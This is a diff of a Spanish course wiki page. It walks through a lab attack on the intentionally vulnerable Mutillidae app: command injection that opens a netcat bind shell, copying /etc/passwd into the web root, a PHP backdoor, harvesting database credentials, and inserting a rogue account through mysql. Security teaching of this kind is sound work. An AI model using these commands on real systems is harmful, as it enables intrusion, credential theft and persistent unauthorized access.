Muestra las diferencias entre dos versiones de la página.
Próxima revisión | Revisión previa | ||
sad:fedora14:p3 [2018/01/27 22:37] José Manuel Guallar creado |
sad:fedora14:p3 [2019/01/04 13:18] (actual) |
||
---|---|---|---|
Línea 1: | Línea 1: | ||
- | ¿Qué es Inyección de Comando? | + | ====== Inyección de comandos Netcat ====== |
+ | |||
+ | **¿Qué es Inyección de Comando?** | ||
La Inyección de comandos ocurre cuando un atacante puede ejecutar comandos del sistema operativo o scripts en el servidor desde la aplicación web. | La Inyección de comandos ocurre cuando un atacante puede ejecutar comandos del sistema operativo o scripts en el servidor desde la aplicación web. | ||
Línea 5: | Línea 7: | ||
Esta potencial de vulnerabilidad se produce cuando una aplicación web le permiten hacer comúnmente un nslookup, whois, ping, traceroute y más cosas desde su página web. Puede probar la vulnerabilidad utilizando una técnica llamada fuzzing, donde un ";" o "|" o "||" o "&" o "&&" se agrega al final de la entrada esperada (p. ej., www.colegiomontessori.com) seguido de un comando (p. ej., cat / etc / passwd). | Esta potencial de vulnerabilidad se produce cuando una aplicación web le permiten hacer comúnmente un nslookup, whois, ping, traceroute y más cosas desde su página web. Puede probar la vulnerabilidad utilizando una técnica llamada fuzzing, donde un ";" o "|" o "||" o "&" o "&&" se agrega al final de la entrada esperada (p. ej., www.colegiomontessori.com) seguido de un comando (p. ej., cat / etc / passwd). | ||
- | ¿Qué es netcat? | + | **¿Qué es netcat?** |
Netcat es un servicio que se usa para leer y escribir usando protocolos TCP o UDP. Netcat está diseñado para ser un dispositivo de "back-end" confiable que puede ser utilizado directa o fácilmente por otros programas y scripts. | Netcat es un servicio que se usa para leer y escribir usando protocolos TCP o UDP. Netcat está diseñado para ser un dispositivo de "back-end" confiable que puede ser utilizado directa o fácilmente por otros programas y scripts. | ||
Línea 13: | Línea 15: | ||
Netcat a menudo se conoce como una "navaja del ejército suizo para TCP / IP". Su lista de funciones incluye exploración de puertos, transferencia de archivos y escucha de puertos, y puede utilizarse como puerta trasera. | Netcat a menudo se conoce como una "navaja del ejército suizo para TCP / IP". Su lista de funciones incluye exploración de puertos, transferencia de archivos y escucha de puertos, y puede utilizarse como puerta trasera. | ||
- | + | ** | |
- | Pre-requisito para hacer estas practicas | + | Pre-requisito para hacer estas practicas** |
Tener instalado un Fedora \\ | Tener instalado un Fedora \\ | ||
Línea 29: | Línea 31: | ||
* Agregue un usuario a la tabla nowasp. accounts. | * Agregue un usuario a la tabla nowasp. accounts. | ||
- | A continuación, vamos a agregar NetCat a la prueba nslookup básica. :) | + | Lo primero de todo voy a ver que ip tiene cada una de las maquinas |
+ | * Fedora tiene 192.168.153.39 | ||
+ | * BT tiene 192.168.153.43 | ||
+ | |||
+ | {{:sad:fedora:p3:1.png?500|}} | ||
+ | |||
+ | Vamos como el ejercicio anterior a http://ip-fedora/mutillidae y seleccionamos | ||
+ | |||
+ | OWASP Top 10 --> A2 - Cross Site Scripting (XSS) --> Reflected (First Order) --> DNS Lookup | ||
+ | |||
+ | |||
+ | |||
+ | A continuación, vamos a ejecutar NetCat a la prueba nslookup LOL | ||
Instrucciones: | Instrucciones: | ||
+ | <code basH> | ||
+ | www.colegiomontessori.com; mkfifo /tmp/pipe; sh /tmp/pipe | nc -l 4444 > /tmp/pipe | ||
+ | </code> | ||
- | www.cnn.com; mkfifo / tmp / pipe; sh / tmp / pipe | nc -l 4444> / tmp / pipe | + | ** Hacemos un FIFO llamada pipe.** |
- | Hacemos un FIFO llamada pipe. | ||
Las (pipes)tuberías permiten que procesos separados se comuniquen sin haber sido diseñados explícitamente para funcionar juntos. | Las (pipes)tuberías permiten que procesos separados se comuniquen sin haber sido diseñados explícitamente para funcionar juntos. | ||
+ | |||
Esto permitirá que dos procesos se conecten a netcat. | Esto permitirá que dos procesos se conecten a netcat. | ||
- | nc -l 4444, le dice a netcat que escuche y permita conexiones en el puerto 4444. | ||
- | NOTA: NO SE MUESTRA NINGÚN RESULTADO EN LA EJECUCIÓN DE ESTA SENTENCIA | + | **nc -l 4444,** le dice a netcat que escuche y permita conexiones en el puerto 4444. |
+ | |||
+ | |||
+ | {{:sad:fedora:p3:2.png?500|}} | ||
+ | {{:sad:fedora:p3:3.png?500|}} | ||
+ | |||
+ | **NOTA**: NO SE MUESTRA NINGÚN RESULTADO EN LA EJECUCIÓN DE ESTA SENTENCIA | ||
Ahora tenemos que observar la pestaña superior izquierda, hay una rueda de conexión que gira constantemente. | Ahora tenemos que observar la pestaña superior izquierda, hay una rueda de conexión que gira constantemente. | ||
Línea 46: | Línea 68: | ||
También hay que observar en la esquina inferior izquierda, la barra de estado muestra los datos de transferencia de mensajes. | También hay que observar en la esquina inferior izquierda, la barra de estado muestra los datos de transferencia de mensajes. | ||
- | Ambos mensajes son una buena señal de que Netcat se está ejecutando y escuchando una conexión. | + | Ambos mensajes son una buena señal de que Netcat se está ejecutando y escuchando una conexión.:?: |
- | Conéctese a Netcat | + | ====== Conéctese a Netcat ====== |
- | + | ||
- | Notas: | + | |
Escribir las siguientes sentencias en el BackTrack | Escribir las siguientes sentencias en el BackTrack | ||
- | Reemplace 192.168.1.111 con la dirección IP de Fedora. | + | Reemplazar la ip con la dirección IP de tu Fedora. |
- | Instrucciones: | + | <code bash> |
+ | root@bt:~# nc 192.168.153.39 4444 | ||
+ | </code> | ||
- | **nc 192.168.1.111 4444** | + | {{:sad:fedora:p3:04.png?500|}} |
Utilicamos el BackTrack para conectarse a la sesión Netcat de Fedora en el puerto 4444 | Utilicamos el BackTrack para conectarse a la sesión Netcat de Fedora en el puerto 4444 | ||
- | **hostname** | + | ''**hostname**'' |
Este es el nombre de host del servidor que aloja DVWA. | Este es el nombre de host del servidor que aloja DVWA. | ||
- | **whoami** | + | ''**whoami**'' |
Es decir, ¿con quién me conecto? | Es decir, ¿con quién me conecto? | ||
- | pwd | + | ''**pwd**'' |
directorio de trabajo | directorio de trabajo | ||
- | uname -a | + | ''**uname -a**'' |
- | muestra informacion del sistema operatico | + | muestra informacion del sistema operativo |
- | cat /etc/passwd > passwd.txt | + | |
+ | ''**cat /etc/passwd > passwd.txt**'' | ||
crea passwd.txt localizado en /var/www/html/multillidae | crea passwd.txt localizado en /var/www/html/multillidae | ||
- | ls -l $PWD/passwd.txt | + | |
+ | ''**ls -l $PWD/passwd.txt**'' | ||
lista el fichero passwd.txt | lista el fichero passwd.txt | ||
- | volvemos al Firefox y abrimos otra pestaña y escribimos | + | {{:sad:fedora:p3:05.png?500|}} |
- | http://ip-fedora/mutillidae/passwd.txt | + | **volvemos al Firefox y abrimos otra pestaña y escribimos** |
- | Creación de una puerta trasera (PHP) | + | ''** http://ip-fedora/mutillidae/passwd.txt**'' |
- | Podemos realizar las siguientes instrucciones utilizando la sesión previa de Netcat en BackTrack. | + | {{:sad:fedora:p3:06.png?500|}} |
- | Ahora podemos crear un archivo en el servidor web Apache en el directorio /var/www/html/mutillidae. | + | ====== Creación de una puerta trasera (PHP) ====== |
- | Vamos a crear un script php que servirá como una puerta trasera netcat sin tener que ejecutar netcat usando la ejecución del comando nslookup. | + | |
+ | Podemos realizar las siguientes instrucciones utilizando la sesión previa de Netcat en BackTrack. | ||
+ | |||
+ | Ahora podemos crear un script en el servidor web Apache en el directorio /var/www/html/mutillidae, que servirá como una puerta trasera netcat sin tener que ejecutar netcat usando la ejecución del comando nslookup. | ||
<code bash> | <code bash> | ||
Línea 104: | Línea 131: | ||
</code> | </code> | ||
- | http://ip-fedora/multillidae/nc_connect.php | + | {{:sad:fedora:p3:07.png?500|}} |
+ | |||
+ | ''**http://ip-fedora/mutillidae/nc_connect.php**'' | ||
+ | |||
+ | Ejecutamos **nc_connect.php** | ||
+ | |||
+ | ''**http://ip-fedora/mutillidae/nc_connect.php**'' | ||
+ | |||
+ | veremos que en la web pone conectando..... | ||
+ | |||
+ | abrimos otro terminal en Backtrack y escribimos | ||
+ | |||
+ | <code bash> | ||
+ | |||
+ | root@bt:~# nc 192.168.153.39 3333 | ||
+ | whoami | ||
+ | ps -eaf | egrep '(3333|4444)' | ||
+ | |||
+ | </code> | ||
+ | |||
+ | {{:sad:fedora:p3:08.png?500|}} | ||
+ | {{:sad:fedora:p3:09.png?500|}} | ||
+ | |||
+ | Las dos primeras lineas es la ejecución del netcat via nslookup | ||
+ | |||
+ | las ultimas lineas el la puerta trasera | ||
+ | |||
+ | Para Listar todos los scripts que hay en php, la idea es la misma que la practica anterior, averiguar el usuario y la contraseña | ||
+ | |||
+ | primero vamos a ver nuestro directorio de trabajo | ||
+ | |||
+ | ''**pwd**'' | ||
+ | |||
+ | luego vamos a contar los scripts\\ | ||
+ | |||
+ | ''**find * -name "*.php" | wc -l**'' | ||
+ | |||
+ | despues vamos a contar los archivos incluye de php\\ | ||
+ | |||
+ | ''**find * -name "*.inc" | wc -l**'' | ||
+ | |||
+ | lo siguiente sera buscar en cada archivo include (.inc) las palabras "password" "db" o "database"\\ | ||
+ | |||
+ | {{:sad:fedora:p3:10.png?500|}} | ||
+ | |||
+ | <code bash> | ||
+ | find * -name "*.inc" | xargs grep -i password | egrep -i '(db|database)' | ||
+ | </code> | ||
+ | |||
+ | **find * -name "*.inc** encuentra todos los archivos con la extensión inc | ||
+ | |||
+ | ** xargs** construye y ejecutar líneas de comando desde entrada estándar | ||
+ | |||
+ | **grep -i password** busca la palabra password (ignora mayuscula y minusculas) | ||
+ | |||
+ | **egrep -i '(db|database)'** buscar las cadenas db o database | ||
+ | |||
+ | {{:sad:fedora:p3:11.png?500|}} | ||
+ | |||
+ | <code bash> | ||
+ | find * -name "*.php" | xargs grep -i password | egrep -i '(db|database)' | grep "=" | head -8 | ||
+ | </code> | ||
+ | |||
+ | {{:sad:fedora:p3:12.png?500|}} | ||
+ | ahora buscamos lo mismo pero solo mostramos las 8 primeras lineas de la cabecera, y observamos que el nombre del script que contiene la contraseña de la Base de datos es MySQLHandler.php | ||
+ | |||
+ | Buscamos información de autentificación en el archivo MySQLHandler.php buscamos las palabras password, username o database y el simbolo de = | ||
+ | |||
+ | <code bash> | ||
+ | find * -name "MySQLHandler.php" | xargs egrep -i '(password|username|database)' | grep "=" | head -10 | ||
+ | </code> | ||
+ | {{:sad:fedora:p3:13.png?500|}} | ||
+ | |||
+ | El siguiente comando muestra cómo ejecutar los comandos de la base de datos en la sesión de netcat. | ||
+ | |||
+ | <code php> | ||
+ | echo "show databases;" | mysql -uroot -psamurai | ||
+ | echo "use nowasp; show tables;" | mysql -uroot -psamurai | ||
+ | </code> | ||
+ | |||
+ | {{:sad:fedora:p3:14.png?500|}} | ||
+ | |||
+ | Vamos a investigar el contenido de la tabla accounts | ||
+ | |||
+ | primer comando enseña los campos por columnas y por supuesto podemos ver el contenido de tablas | ||
+ | |||
+ | <code php> | ||
+ | echo "use nowasp; desc accounts;" | mysql -uroot -psamurai | ||
+ | echo "select * from nowasp.accounts;" | mysql -uroot -psamurai | ||
+ | </code> | ||
+ | |||
+ | {{:sad:fedora:p3:15.png?500|}} | ||
+ | |||
+ | ===== ahora vamos a crear un nuevo usuario en la tabla ===== | ||
+ | |||
+ | |||
+ | <code bash> | ||
+ | echo "insert into nowasp.accounts values (null,'hacker_jm','p4sSw0rd!','H4ck','TRUE');" | mysql -uroot -psamurai | ||
+ | echo "select * from nowasp.accounts;" | mysql -uroot -psamurai | ||
+ | </code> | ||
+ | {{:sad:fedora:p3:16.png?500|}} | ||
+ | |||
+ | |||
+ | ''** print de pantalla final**'' | ||
+ | |||
+ | Tienes que realizar los siguientes pasos en el terminal de netcat nc_connect.php | ||
+ | |||
+ | <code bash> | ||
+ | echo "select * from nowasp.accounts where username = 'hacker_nombre';" | mysql -uroot -psamurai | ||
+ | netstat -nao | egrep '(3333|4444)' | ||
+ | date | ||
+ | echo "tu nombre" | ||
+ | </code> | ||